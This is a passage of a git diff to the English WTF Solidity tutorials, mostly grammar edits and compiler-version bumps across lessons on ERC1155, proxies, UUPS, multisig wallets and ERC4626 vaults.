[ERC721](https://github.com/AmazingAng/WTFSolidity/tree/main/34_ERC721): In `ERC721`, each token has a `tokenId` as a unique identifier, and each `tokenId` corresponds to only one token; in `ERC1155`, each type of token has an `id` as a unique identifier, and each `id` corresponds to one type of token. This way, the types of tokens can be managed heterogeneously in the same contract, and each type of token has a URL `uri` to store its metadata, similar to `tokenURI` in `ERC721`. The following is the metadata interface contract `IERC1155MetadataURI` for `ERC1155`: ```solidity /** @@ -37,7 +37,7 @@ interface IERC1155MetadataURI is IERC1155 { function uri(uint256 id) external view returns (string memory); ``` -How to distinguish whether a type of token in `ERC1155` is a fungible or a non-fungible token? It's actually simple: if the total amount of a token corresponding to a specific `id` is `1`, then it is a non-fungible token, similar to `ERC721`; if the total amount of a token corresponding to a specific `id` is greater than `1`, then it is a fungible token, because these tokens share the same `id`, similar to `ERC20`. +How to distinguish whether a type of token in `ERC1155` is a fungible or a non-fungible token? It's actually simple: if the total amount of a token corresponding to a specific `id` is `1`, then it is a non-fungible token, similar to `ERC721`; if the total amount of a token corresponding to a specific `id` is greater than `1`, then it is a fungible token because these tokens share the same `id`, similar to `ERC20`. ## `IERC1155` Interface Contract @@ -403,7 +403,7 @@ contract ERC1155 is IERC165, IERC1155, IERC1155MetadataURI { * Require: * - to cannot be 0 address. * - from has enough balance and the caller has authorization - * - If to is a smart contract, it must support IERC1155Receiver-onERC1155BatchReceived. + * - If it is a smart contract, it must support IERC1155Receiver-onERC1155BatchReceived. * - ids and amounts arrays have equal length */ function safeBatchTransferFrom( @@ -655,7 +655,7 @@ We have made some modifications to the boring apes `BAYC` by changing it to `BAY ```solidity // SPDX-License-Identifier: MIT // by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "./ERC1155.sol"; @@ -711,7 +711,7 @@ In the `blanceOf` section, enter the account address and `id` to view the corres ### 4. Batch `mint` and view position changes -In the "mintBatch" section, input the "ids" array and corresponding quantity to be minted. The length of both arrays must be the same. +In the "mintBatch" section, input the "ids" array and the corresponding quantity to be minted. The length of both arrays must be the same. To view the recently minted token "id" array, input it as shown. Similarly, in the "transfer" section, we transfer tokens from an address that already owns them to a new address. This address can be a normal address or a contract address; if it is a contract address, it will be verified whether it has implemented the "onERC1155Received()" receiving function. @@ -720,4 +720,4 @@ To view the changes in holdings of the address to which tokens were just transfe ## Summary -In this lesson we learned about the `ERC1155` multi-token standard proposed by Ethereum's `EIP1155`. It allows for a contract to include multiple homogeneous or heterogeneous tokens. Additionally, we created a modified version of the Bored Ape Yacht Club (BAYC) - `BAYC1155`: an `ERC1155` token containing 10,000 tokens with the same metadata as BAYC. Currently, `ERC1155` is primarily used in GameFi. However, I believe that as metaverse technology continues to develop, this standard will become increasingly popular. \ No newline at end of file +In this lesson, we learned about the `ERC1155` multi-token standard proposed by Ethereum's `EIP1155`. It allows for a contract to include multiple homogeneous or heterogeneous tokens. Additionally, we created a modified version of the Bored Ape Yacht Club (BAYC) - `BAYC1155`: an `ERC1155` token containing 10,000 tokens with the same metadata as BAYC. Currently, `ERC1155` is primarily used in GameFi. However, I believe that as metaverse technology continues to develop, this standard will become increasingly popular. diff --git a/Languages/en/41_WETH_en/readme.md b/Languages/en/41_WETH_en/readme.md index 334d14313..1a7506e86 100644 --- a/Languages/en/41_WETH_en/readme.md +++ b/Languages/en/41_WETH_en/readme.md @@ -107,7 +107,7 @@ Deploy the `WETH` contract as shown in the image. ### 2. Execute `deposit` to deposit `1 ETH`, and check the `WETH` balance -Execute `deposit` function to deposit `1 ETH`, and check the `WETH` balance. +Execute the `deposit` function to deposit `1 ETH`, and check the `WETH` balance. ![WETH](./img/41-3.jpg) diff --git a/Languages/en/42_PaymentSplit_en/PaymentSplit.sol b/Languages/en/42_PaymentSplit_en/PaymentSplit.sol index cdc9c5bd7..c7d0260b0 100644 --- a/Languages/en/42_PaymentSplit_en/PaymentSplit.sol +++ b/Languages/en/42_PaymentSplit_en/PaymentSplit.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; /** * PaymentSplit diff --git a/Languages/en/42_PaymentSplit_en/readme.md b/Languages/en/42_PaymentSplit_en/readme.md index 3aabb03ec..a3362d58a 100644 --- a/Languages/en/42_PaymentSplit_en/readme.md +++ b/Languages/en/42_PaymentSplit_en/readme.md @@ -17,7 +17,7 @@ All codes and tutorials are open-sourced on Github: [github.com/AmazingAng/WTFSo --- -In this lecture, we'll introduce the payment splitting contract, which allows the transfer of `ETH` to a group of accounts according to their respective weights for payment splitting purposes. The code section is a simplification of the PaymentSplitter contract provided by the OpenZeppelin library, which can be found on [Github](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/finance/PaymentSplitter.sol). +In this lecture, we'll introduce the payment-splitting contract, which allows the transfer of `ETH` to a group of accounts according to their respective weights for payment-splitting purposes. The code section is a simplification of the PaymentSplitter contract provided by the OpenZeppelin library, which can be found on [Github](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/finance/PaymentSplitter.sol). ## Payment Split @@ -30,13 +30,13 @@ Payment split is the act of dividing money according to a certain ratio. In real The Payment Split contract (`PaymentSplit`) has the following features: 1. When creating the contract, the beneficiaries `payees` and their share `shares` are predetermined. -2. The shares can be equal or in any other proportions. -3. From all the ETH that the contract receives, each beneficiary is able to withdraw the amount proportional to their allocated share. -4. The Payment Split contract follows the `Pull Payment` pattern, where payments are not automatically transferred to the account, but are kept in the contract. Beneficiaries trigger the actual transfer by calling the `release()` function. +2. The shares can be equal or in any other proportion. +3. From all the ETH that the contract receives, each beneficiary can withdraw the amount proportional to their allocated share. +4. The Payment Split contract follows the `Pull Payment` pattern, where payments are not automatically transferred to the account but are kept in the contract. Beneficiaries trigger the actual transfer by calling the `release()` function. ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; /** * PaymentSplit @@ -62,7 +62,7 @@ There are a total of `3` events in the Splitter Contract: ### State Variables -There are `5` state variables in the revenue splitting contract, used to record beneficiary addresses, shares, and paid out `ETH`: +There are `5` state variables in the revenue-splitting contract, used to record beneficiary addresses, shares, and paid-out `ETH`: - `totalShares`: Total shares, which is the sum of `shares`. - `totalReleased`: The amount of `ETH` paid out from the revenue splitting contract to beneficiaries, which is the sum of `released`. @@ -81,7 +81,7 @@ There are `5` state variables in the revenue splitting contract, used to record ### Functions -There are `6` functions in the revenue sharing contract: +There are `6` functions in the revenue-sharing contract: - Constructor: initializes the beneficiary array `_payees` and the revenue sharing array `_shares`, where the length of both arrays must not be 0 and their lengths must be equal. Elements of the \_shares array must be greater than 0, and the addresses in the \_payees array can't be the zero address and can't have a duplicate address. - `receive()`: callback function, releases the `PaymentReceived` event when the revenue sharing contract receives `ETH`. @@ -203,7 +203,7 @@ In the constructor, enter two beneficiary addresses with shares of `1` and `3`. ![Viewing the second beneficiary](./img/42-4.png) -### 3. Call `release` function to claim `ETH` +### 3. Call the `release` function to claim `ETH` ![Calling the release function](./img/42-5.png) @@ -213,4 +213,4 @@ In the constructor, enter two beneficiary addresses with shares of `1` and `3`. ## Summary -In this lecture, we introduced the revenue sharing contract. In the world of blockchain, `Code is Law`, we can write the proportion that each person should receive in the smart contract beforehand. After receiving revenue, the smart contract will handle revenue sharing to avoid the issue of "unequal distribution of shares" afterwards. +In this lecture, we introduced the revenue-sharing contract. In the world of blockchain, `Code is Law`, we can write the proportion that each person should receive in the smart contract beforehand. After receiving revenue, the smart contract will handle revenue sharing to avoid the issue of "unequal distribution of shares" afterwards. diff --git a/Languages/en/43_TokenVesting_en/readme.md b/Languages/en/43_TokenVesting_en/readme.md index 87dec3306..3cd2f3a8a 100644 --- a/Languages/en/43_TokenVesting_en/readme.md +++ b/Languages/en/43_TokenVesting_en/readme.md @@ -150,4 +150,4 @@ There are `3` functions in the LinearVesting contract. ## Summary -A large amount of token unlocking in the short term can cause huge pressure on the token price, while agreed-upon token ownership terms can alleviate selling pressure and prevent the team and capital parties from exiting too early. In this lesson, we introduced token ownership terms and wrote a contract for linear release of ERC20 tokens. +A large amount of token unlocking in the short term can cause huge pressure on the token price, while agreed-upon token ownership terms can alleviate selling pressure and prevent the team and capital parties from exiting too early. In this lesson, we introduced token ownership terms and wrote a contract for the linear release of ERC20 tokens. diff --git a/Languages/en/44_TokenLocker_en/readme.md b/Languages/en/44_TokenLocker_en/readme.md index 673ef2d19..f3f37f84c 100644 --- a/Languages/en/44_TokenLocker_en/readme.md +++ b/Languages/en/44_TokenLocker_en/readme.md @@ -13,7 +13,7 @@ Feel free to follow me on Twitter: [@0xAA_Science](https://twitter.com/0xAA_Scie You are also welcome to join the WTF Scientists community and find information on how to join the WeChat group: [link](https://discord.gg/5akcruXrsk) -All of the code and tutorials are open source and can be found on Github (I will provide a course certification for 1024 stars and a community NFT for 2048 stars): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +All of the code and tutorials are open source and can be found on GitHub (I will provide a course certification for 1024 stars and a community NFT for 2048 stars): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) --- @@ -23,7 +23,7 @@ A Token Lock is a simple time-based smart contract that allows one to lock a num ### What are LP Tokens? -In decentralized exchanges (DEX), users trade tokens, such as in the case of Uniswap. Unlike centralized exchanges (CEX), decentralized exchanges use Automated Market Maker (AMM) mechanisms. Users or projects provide a liquidity pool, so that other users can buy and sell tokens instantly. To compensate the user or project for providing the liquidity pool, the DEX will mint corresponding LP tokens, which represent their contribution and entitle them to transaction fees. +In decentralized exchanges (DEX), users trade tokens, such as in the case of Uniswap. Unlike centralized exchanges (CEX), decentralized exchanges use Automated Market Maker (AMM) mechanisms. Users or projects provide a liquidity pool so that other users can buy and sell tokens instantly. To compensate the user or project for providing the liquidity pool, the DEX will mint corresponding LP tokens, which represent their contribution and entitle them to transaction fees. ### Why Lock Liquidity? diff --git a/Languages/en/45_Timelock_en/Timelock.sol b/Languages/en/45_Timelock_en/Timelock.sol index db1473f51..7c25bcc77 100644 --- a/Languages/en/45_Timelock_en/Timelock.sol +++ b/Languages/en/45_Timelock_en/Timelock.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Timelock { // Event diff --git a/Languages/en/46_ProxyContract_en/ProxyContract.sol b/Languages/en/46_ProxyContract_en/ProxyContract.sol index 825eb9913..78782a505 100644 --- a/Languages/en/46_ProxyContract_en/ProxyContract.sol +++ b/Languages/en/46_ProxyContract_en/ProxyContract.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // wtf.academy -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; /** * @dev all invocations through Proxy contract are delegated to another contract, which is called logic contract(Implementation), by `delegatecall` opcode. diff --git a/Languages/en/46_ProxyContract_en/readme.md b/Languages/en/46_ProxyContract_en/readme.md index f4f250577..2459c9d44 100644 --- a/Languages/en/46_ProxyContract_en/readme.md +++ b/Languages/en/46_ProxyContract_en/readme.md @@ -31,7 +31,7 @@ Is there a way to modify or upgrade the contract after it is deployed? The answe ![Proxy Pattern](./img/46-1.png) -The proxy pattern separates contract data and logic, and saves them in different contracts. Taking the simple proxy contract in the above figure as an example, the data (state variable) is stored in the proxy contract, and the logic (function) is stored in another logic contract. The proxy contract (Proxy) delegates the function call to the logic contract (Implementation) through `delegatecall`, and then returns the final result to the caller(Caller). +The proxy pattern separates contract data and logic and saves them in different contracts. Taking the simple proxy contract in the above figure as an example, the data (state variable) is stored in the proxy contract, and the logic (function) is stored in another logic contract. The proxy contract (Proxy) delegates the function call to the logic contract (Implementation) through `delegatecall`, and then returns the final result to the caller(Caller). The proxy pattern has two main benefits: 1. Upgradeable: When we need to upgrade the logic of the contract, we only need to point the proxy contract to a new logic contract. @@ -77,8 +77,8 @@ The fallback function of `Proxy` delegates external calls to the `Logic` contrac ```solidity /** -* @dev fallback function, delegates invocations of current contract to `implementation` contract -* with inline assembly, it gives fallback function a return value +* @dev fallback function, delegates invocations of the current contract to `implementation` contract +* with inline assembly, it gives the fallback function a return value */ fallback() external payable { address _implementation = implementation; @@ -87,7 +87,7 @@ fallback() external payable { // the parameters of opcode calldatacopy: start position of memory, start position of calldata, length of calldata calldatacopy(0, 0, calldatasize()) - // use delegatecall to call implementation contract + // use delegatecall to call the implementation contract // the parameters of opcode delegatecall: gas, target contract address, start position of input memory, length of input memory, start position of output memory, length of output memory // set start position of output memory and length of output memory to 0 // delegatecall returns 1 if success, 0 if fail @@ -199,4 +199,4 @@ The question we left for everyone earlier was: why does a call to `increment()` In the next lesson, we will introduce upgradeable proxy contracts. -Although the proxy contract is very powerful, it is prone to bugs. When using it, you'd better directly copy the template contract from [OpenZeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/proxy). \ No newline at end of file +Although the proxy contract is very powerful, it is prone to bugs. When using it, you'd better directly copy the template contract from [OpenZeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/proxy). diff --git a/Languages/en/47_Upgrade_en/Upgrade.sol b/Languages/en/47_Upgrade_en/Upgrade.sol index 69e3ed3b7..e1540649c 100644 --- a/Languages/en/47_Upgrade_en/Upgrade.sol +++ b/Languages/en/47_Upgrade_en/Upgrade.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // wtf.academy -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // simple upgradeable contract, the admin could change the logic contract's address by calling upgrade function, thus change the contract logic // FOR TEACHING PURPOSE ONLY, DO NOT USE IN PRODUCTION diff --git a/Languages/en/47_Upgrade_en/readme.md b/Languages/en/47_Upgrade_en/readme.md index 70fe7dbc3..a94aec9ac 100644 --- a/Languages/en/47_Upgrade_en/readme.md +++ b/Languages/en/47_Upgrade_en/readme.md @@ -44,14 +44,14 @@ It contains `3` functions: - Constructor: Initializes admin and logic contract addresses. - `fallback()`: Callback function, delegates the call to the logic contract. -- `upgrade()`: Upgrade function, changes the logic contract's address, can only be called by `admin`. +- `upgrade()`: The upgrade function, changes the logic contract's address, and can only be called by `admin`. ```solidity // SPDX-License-Identifier: MIT // wtf.academy -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; -// simple upgradeable contract, the admin could change the logic contract's address by calling upgrade function, thus change the contract logic +// simple upgradeable contract, the admin could change the logic contract's address by calling the upgrade function, thus changing the contract logic // FOR TEACHING PURPOSE ONLY, DO NOT USE IN PRODUCTION contract SimpleUpgrade { // logic contract's address @@ -60,7 +60,7 @@ contract SimpleUpgrade { // admin address address public admin; - // string variable, could be changed by logic contract's function + // string variable, could be changed by the logic contract's function string public words; // constructor, initializing admin address and logic contract's address @@ -74,7 +74,7 @@ contract SimpleUpgrade { (bool success, bytes memory data) = implementation.delegatecall(msg.data); } - // upgrade function, changes the logic contract's address, can only by called by admin + // upgrade function, changes the logic contract's address, can only be called by admin function upgrade(address newImplementation) external { require(msg.sender == admin); implementation = newImplementation; @@ -109,7 +109,7 @@ This logic contract contains `3` state variables, consistent with the proxy cont ```solidity // Logic Contract 2 contract Logic2 { - // State variables consistent with proxy contract to prevent slot collisions + // State variables consistent with a proxy contract to prevent slot collisions address public implementation; address public admin; // String that can be changed through the function of the logic contract @@ -142,4 +142,4 @@ contract Logic2 { ## Summary -In this lesson, we introduced a simple upgradeable contract. It is a proxy contract that can change the logic contract and adds upgrade functionality to immutable smart contracts. However, this contract has a problem of selector conflict and poses security risks. Later, we will introduce the upgradeable contract standards that solve this vulnerability: Transparent Proxy and UUPS. \ No newline at end of file +In this lesson, we introduced a simple upgradeable contract. It is a proxy contract that can change the logic contract and add upgrade functionality to immutable smart contracts. However, this contract has a problem of selector conflict and poses security risks. Later, we will introduce the upgradeable contract standards that solve this vulnerability: Transparent Proxy and UUPS. diff --git a/Languages/en/48_TransparentProxy_en/TransparentProxy.sol b/Languages/en/48_TransparentProxy_en/TransparentProxy.sol index 128e1b13f..32eb5ef76 100644 --- a/Languages/en/48_TransparentProxy_en/TransparentProxy.sol +++ b/Languages/en/48_TransparentProxy_en/TransparentProxy.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // wtf.academy -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // selector clash example // uncomment the two lines of code, the contract fails to compile, because the selector of these two functions are identical diff --git a/Languages/en/48_TransparentProxy_en/readme.md b/Languages/en/48_TransparentProxy_en/readme.md index 04cf0d400..4559e387d 100644 --- a/Languages/en/48_TransparentProxy_en/readme.md +++ b/Languages/en/48_TransparentProxy_en/readme.md @@ -23,7 +23,7 @@ In this lesson, we will introduce the selector clash issue in proxy contracts, a ## Selector Clash -In smart contracts, a function selector is the hash of a function signature's first 4 bytes. For example, the selector of function `mint(address account)` is `bytes4(keccak256("mint(address)"))`, which is `0x6a627842`. More about function selectors see [WTF Solidity Tutorial #29: Function Selectors](https://github.com/AmazingAng/WTFSolidity/blob/main/Languages/en/29_Selector_en/readme.md). +In smart contracts, a function selector is the hash of a function signature's first 4 bytes. For example, the selector of function `mint(address account)` is `bytes4(keccak256("mint(address)"))`, which is `0x6a627842`. For more about function selectors see [WTF Solidity Tutorial #29: Function Selectors](https://github.com/AmazingAng/WTFSolidity/blob/main/Languages/en/29_Selector_en/readme.md). Because a function selector has only 4 bytes, its range is very small. Therefore, two different functions may have the same selector, such as the following two functions: @@ -46,7 +46,7 @@ Currently, there are two upgradeable contract standards that solve this problem: The logic of the transparent proxy is very simple: admin may mistakenly call the upgradable functions of the proxy contract when calling the functions of the logic contract because of the "selector clash". Restricting the admin's privileges can solve the conflict: - The admin becomes a tool person and can only upgrade the contract by calling the upgradable function of the proxy contract, without calling the fallback function to call the logic contract. -- Other users cannot call upgradable function, but can call functions of the logic contract. +- Other users cannot call the upgradable function but can call functions of the logic contract. ### Proxy Contract @@ -102,13 +102,13 @@ The new and old logic contracts here are the same as in [Lecture 47](https://git ```solidity // old logic contract contract Logic1 { - // state variable should be the same as proxy contract, in case of slot clash + // state variable should be the same as a proxy contract, in case of slot clash address public implementation; address public admin; - // string variable, can be modified by calling loginc contract's function + // string variable, can be modified by calling the logic contract's function string public words; - // to change state variable in proxy contract, selector 0xc2985578 + //To change state variable in proxy contract, selector 0xc2985578 function foo() public{ words = "old"; } @@ -116,13 +116,13 @@ contract Logic1 { // new logic contract contract Logic2 { - // state variable should be the same as proxy contract, in case of slot clash + // state variable should be the same as a proxy contract, in case of slot clash address public implementation; address public admin; - // string variable, can be modified by calling loginc contract's function + // string variable, can be modified by calling the logic contract's function string public words; - // to change state variable in proxy contract, selector 0xc2985578 + //To change state variable in proxy contract, selector 0xc2985578 function foo() public{ words = "new"; } @@ -152,6 +152,6 @@ contract Logic2 { ## Summary -In this lesson, we introduced the "selector clash" in proxy contracts and how to avoid this problem using transparent proxy. The logic of transparent proxy is simple, solving the "selector clash" problem by restricting the admin's access to the logic contract. However, it has a drawback that every time a user calls a function, there is an additional check for whether or not the caller is the admin, which consumes more gas. Nevertheless, transparent proxy are still the solution chosen by most project teams. +In this lesson, we introduced the "selector clash" in proxy contracts and how to avoid this problem using a transparent proxy. The logic of transparent proxy is simple, solving the "selector clash" problem by restricting the admin's access to the logic contract. However, it has a drawback; every time a user calls a function, there is an additional check for whether or not the caller is the admin, which consumes more gas. Nevertheless, transparent proxies are still the solution chosen by most project teams. -In the next lesson, we will introduce the general Universal Upgradeable Proxy Standard (UUPS), which is more complex but consumes less gas. \ No newline at end of file +In the next lesson, we will introduce the general Universal Upgradeable Proxy Standard (UUPS), which is more complex but consumes less gas. diff --git a/Languages/en/49_UUPS_en/UUPS.sol b/Languages/en/49_UUPS_en/UUPS.sol index 05f40865b..668ec0df3 100644 --- a/Languages/en/49_UUPS_en/UUPS.sol +++ b/Languages/en/49_UUPS_en/UUPS.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // wtf.academy -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // UUPS proxy looks like a regular proxy // upgrade function is inside logic contract, the admin is able to upgrade the logic contract's address by calling upgrade function, thus change the logic of the contract diff --git a/Languages/en/49_UUPS_en/readme.md b/Languages/en/49_UUPS_en/readme.md index 1b1ecb4c2..0c579cc2b 100644 --- a/Languages/en/49_UUPS_en/readme.md +++ b/Languages/en/49_UUPS_en/readme.md @@ -33,21 +33,21 @@ The following table summarizes the differences between regular upgradeable contr ## UUPS contract -First, let's review [WTF Solidity Minimalist Tutorial Lesson 23: Delegatecall](https://github.com/AmazingAng/WTFSolidity/blob/main/Languages/en/23_Delegatecall_en/readme.md). If user A `delegatecall`s contract C (logic contract) through contract B (proxy contract), the context is still the context of contract B, and `msg.sender` is still user A rather than contract B. Therefore, the UUPS contract can place the upgrade function in the logical contract and check whether the caller is admin. +First, let's review [WTF Solidity Minimalist Tutorial Lesson 23: Delegatecall](https://github.com/AmazingAng/WTFSolidity/blob/main/Languages/en/23_Delegatecall_en/readme.md). If user A `delegatecall`s contract C (logic contract) through contract B (proxy contract), the context is still the context of contract B, and `msg.sender` is still user A rather than contract B. Therefore, the UUPS contract can place the upgrade function in the logical contract and check whether the caller is an admin. ![delegatecall](./img/49-2.png) ### UUPS proxy contract -The UUPS proxy contract looks like an unupgradable proxy contract and is very simple because the upgrade function is placed in the logic contract. It contains three variables: +The UUPS proxy contract looks like an un-upgradable proxy contract and is very simple because the upgrade function is placed in the logic contract. It contains three variables: - `implementation`: address of the logic contract. - `admin`: address of the admin. -- `words`: string that can be changed by functions in the logic contract. +- `words`: a string that can be changed by functions in the logic contract. It contains `2` functions: - Constructor: initializes the admin and logic contract address. -- `fallback()`: callback function that delegates the call to the logic contract. +- `fallback()`: a callback function that delegates the call to the logic contract. ```solidity contract UUPSProxy { @@ -146,4 +146,4 @@ contract UUPS2{ ![demo](./img/49-8.png) Summary: -In this lesson, we introduced another solution to the "selector clash" in proxy contracts: UUPS. Unlike transparent proxies, UUPS places upgrade functions in the logic contract, making "selector clash" unable to pass compilation. Compared to transparent proxies, UUPS is more gas-efficient but also more complex. \ No newline at end of file +In this lesson, we introduced another solution to the "selector clash" in proxy contracts: UUPS. Unlike transparent proxies, UUPS places upgrade functions in the logic contract, making "selector clash" unable to pass compilation. Compared to transparent proxies, UUPS is more gas-efficient but also more complex. diff --git a/Languages/en/50_MultisigWallet_en/MultisigWallet.sol b/Languages/en/50_MultisigWallet_en/MultisigWallet.sol index c17154bc6..2098ada2f 100644 --- a/Languages/en/50_MultisigWallet_en/MultisigWallet.sol +++ b/Languages/en/50_MultisigWallet_en/MultisigWallet.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // author: @0xAA_Science from wtf.academy -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; /// 基于签名的多签钱包,由gnosis safe合约简化而来,教学使用。 contract MultisigWallet { diff --git a/Languages/en/50_MultisigWallet_en/readme.md b/Languages/en/50_MultisigWallet_en/readme.md index 3dd2f01ce..ae84c79c0 100644 --- a/Languages/en/50_MultisigWallet_en/readme.md +++ b/Languages/en/50_MultisigWallet_en/readme.md @@ -26,7 +26,7 @@ Vitalik once said that a multisig wallet is safer than a hardware wallet ([tweet ## Multisig Wallet -A multisig wallet is an electronic wallet where transactions require authorization from multiple private key holders (multisig owners) before they can be executed. For example, if a wallet is managed by three multisig owners, each transaction requires authorization from at least two of them. Multisig wallets can prevent single point failure (loss of private keys, individual misbehavior), have greater decentralized characteristics, and provide increased security. It is used by many DAOs. +A multisig wallet is an electronic wallet where transactions require authorization from multiple private key holders (multisig owners) before they can be executed. For example, if a wallet is managed by three multisig owners, each transaction requires authorization from at least two of them. Multisig wallets can prevent single-point failure (loss of private keys, individual misbehavior), have greater decentralized characteristics, and provide increased security. It is used by many DAOs. Gnosis Safe is the most popular multisig wallet on Ethereum, managing nearly $40 billion in assets. The contract has undergone auditing and practical testing, supports multiple chains (Ethereum, BSC, Polygon, etc.), and provides comprehensive DAPP support. For more information, you can read the [Gnosis Safe tutorial](https://peopledao.mirror.xyz/nFCBXda8B5ZxQVqSbbDOn2frFDpTxNVtdqVBXGIjj0s) I wrote in December 2021. @@ -101,7 +101,7 @@ The `MultisigWallet` contract has `6` functions: } ``` -2. `_setupOwners()`: Called by the constructor during contract deployment to initialize the `owners`, `isOwner`, `ownerCount`, `threshold` state variables. The passed-in parameters must have a threshold greater than or equal to `1` and less than or equal to the number of multisignature owners. The multisignature addresses cannot be the zero address and cannot be duplicated. +2. `_setupOwners()`: Called by the constructor during contract deployment to initialize the `owners`, `isOwner`, `ownerCount`, and `threshold` state variables. The passed-in parameters must have a threshold greater than or equal to `1` and less than or equal to the number of multisignature owners. The multisignature addresses cannot be the zero addresses and cannot be duplicated. ```solidity /// @dev Initialize owners, isOwner, ownerCount, threshold @@ -130,7 +130,7 @@ function _setupOwners(address[] memory _owners, uint256 _threshold) internal { 3. `execTransaction()`: After collecting enough multisig signatures, it verifies the signatures and executes the transaction. The parameters passed in include the target address `to`, the amount of Ethereum sent `value`, the data `data`, and the packaged signatures `signatures`. The packaged signature is the signature of the transaction hash collected by the multisig parties, packaged into a [bytes] data in the order of the multisig owners' addresses from small to large. This step calls `encodeTransactionData()` to encode the transaction and calls `checkSignatures()` to verify the validity of the signatures and whether the number of signatures reaches the execution threshold. ```solidity -/// @dev After collecting enough signatures from the multisig, execute transaction +/// @dev After collecting enough signatures from the multisig, execute the transaction /// @param to Target contract address /// @param value msg.value, ether paid /// @param data calldata @@ -305,4 +305,4 @@ Transaction hash: 0xb43ad6901230f2c59c3f7ef027c9a372f199661c61beeec49ef5a774231f In this lesson, we introduced the concept of a multisig wallet and wrote a minimal implementation of a multisig wallet contract, which is less than 150 lines of code. -I have had many opportunities to work with multisig wallets. In 2021, I learned about Gnosis Safe and wrote a tutorial on its usage in both Chinese and English because of the creation of the national treasury by PeopleDAO. Afterwards, I was lucky enough to maintain the assets of three treasury multisig wallets and now I am deeply involved in governing Safes as a guardian. I hope that everyone's assets will be even more secure. \ No newline at end of file +I have had many opportunities to work with multisig wallets. In 2021, I learned about Gnosis Safe and wrote a tutorial on its usage in both Chinese and English because of the creation of the national treasury by PeopleDAO. Afterwards, I was lucky enough to maintain the assets of three treasury multisig wallets and now I am deeply involved in governing Safes as a guardian. I hope that everyone's assets will be even more secure. diff --git a/Languages/en/51_ERC4626_en/ERC20.sol b/Languages/en/51_ERC4626_en/ERC20.sol index 3031c3e48..781b76326 100644 --- a/Languages/en/51_ERC4626_en/ERC20.sol +++ b/Languages/en/51_ERC4626_en/ERC20.sol @@ -1,7 +1,7 @@ // SPDX-License-Identifier: MIT // WTF Solidity by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; diff --git a/Languages/en/51_ERC4626_en/readme.md b/Languages/en/51_ERC4626_en/readme.md index 1561cf88b..2b16049ff 100644 --- a/Languages/en/51_ERC4626_en/readme.md +++ b/Languages/en/51_ERC4626_en/readme.md @@ -21,7 +21,7 @@ All code and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSoli ----- -We often say that DeFi is like LEGO blocks, where you can create new protocols by combining multiple protocols. However, due to the lack of standards in DeFi, its composability is severely affected. ERC4626 extends the ERC20 token standard and aims to standardize yield vaults. In this talk, we will introduce the new generation DeFi standard - ERC4626 and write a simple vault contract. The teaching code reference comes from the ERC4626 contract in openzeppelin and solmate and is for teaching purposes only. +We often say that DeFi is like LEGO blocks, where you can create new protocols by combining multiple protocols. However, due to the lack of standards in DeFi, its composability is severely affected. ERC4626 extends the ERC20 token standard and aims to standardize yield vaults. In this talk, we will introduce the new generation DeFi standard - ERC4626 and write a simple vault contract. The teaching code reference comes from the ERC4626 contract in Openzeppelin and Solmate and is for teaching purposes only. ## Vault @@ -47,12 +47,12 @@ In summary, the importance of ERC4626 for DeFi is no less than that of ERC721 fo ### Key Points of ERC4626 -The ERC4626 standard mainly implements the following logics: +The ERC4626 standard mainly implements the following logic: 1. ERC20: ERC4626 inherits ERC20, and the vault shares are represented by ERC20 tokens: users deposit specific ERC20 underlying assets (such as WETH) into the vault, and the contract mints a specific number of vault share tokens for them; When users withdraw underlying assets from the vault, the corresponding number of vault share tokens will be destroyed. The `asset()` function returns the token address of the vault's underlying asset. -2. Deposit logic: allows users to deposit underlying assets and mint corresponding number of vault shares. Related functions are `deposit()` and `mint()`. The `deposit(uint assets, address receiver)` function allows users to deposit `assets` units of assets and mint corresponding number of vault shares to `receiver` address. `mint(uint shares, address receiver)` is similar, except that it takes the minted vault shares as a parameter. -3. Withdrawal logic: allows users to destroy vault share tokens and withdraw corresponding number of underlying assets from the vault. Related functions are `withdraw()` and `redeem()`, the former taking the amount of underlying assets to be withdrawn as a parameter, and the latter taking the number of destroyed vault share tokens as a parameter. -4. Accounting and limit logic: other functions in the ERC4626 standard are for asset accounting in the vault, deposit and withdrawal limits, and the number of underlying assets and vault shares for deposit and withdrawal. +2. Deposit logic: allows users to deposit underlying assets and mint the corresponding number of vault shares. Related functions are `deposit()` and `mint()`. The `deposit(uint assets, address receiver)` function allows users to deposit `assets` units of assets and mint the corresponding number of vault shares to the `receiver` address. `mint(uint shares, address receiver)` is similar, except that it takes the minted vault shares as a parameter. +3. Withdrawal logic: allows users to destroy vault share tokens and withdraw the corresponding number of underlying assets from the vault. Related functions are `withdraw()` and `redeem()`, the former taking the amount of underlying assets to be withdrawn as a parameter, and the latter taking the number of destroyed vault share tokens as a parameter. +4. Accounting and limit logic: other functions in the ERC4626 standard are for asset accounting in the vault, deposit and withdrawal limits and the number of underlying assets and vault shares for deposit and withdrawal. ### IERC4626 Interface Contract @@ -485,4 +485,4 @@ contract ERC4626 is ERC20, IERC4626 { ## Summary -In this lesson, we introduced the ERC4626 tokenized vault standard and 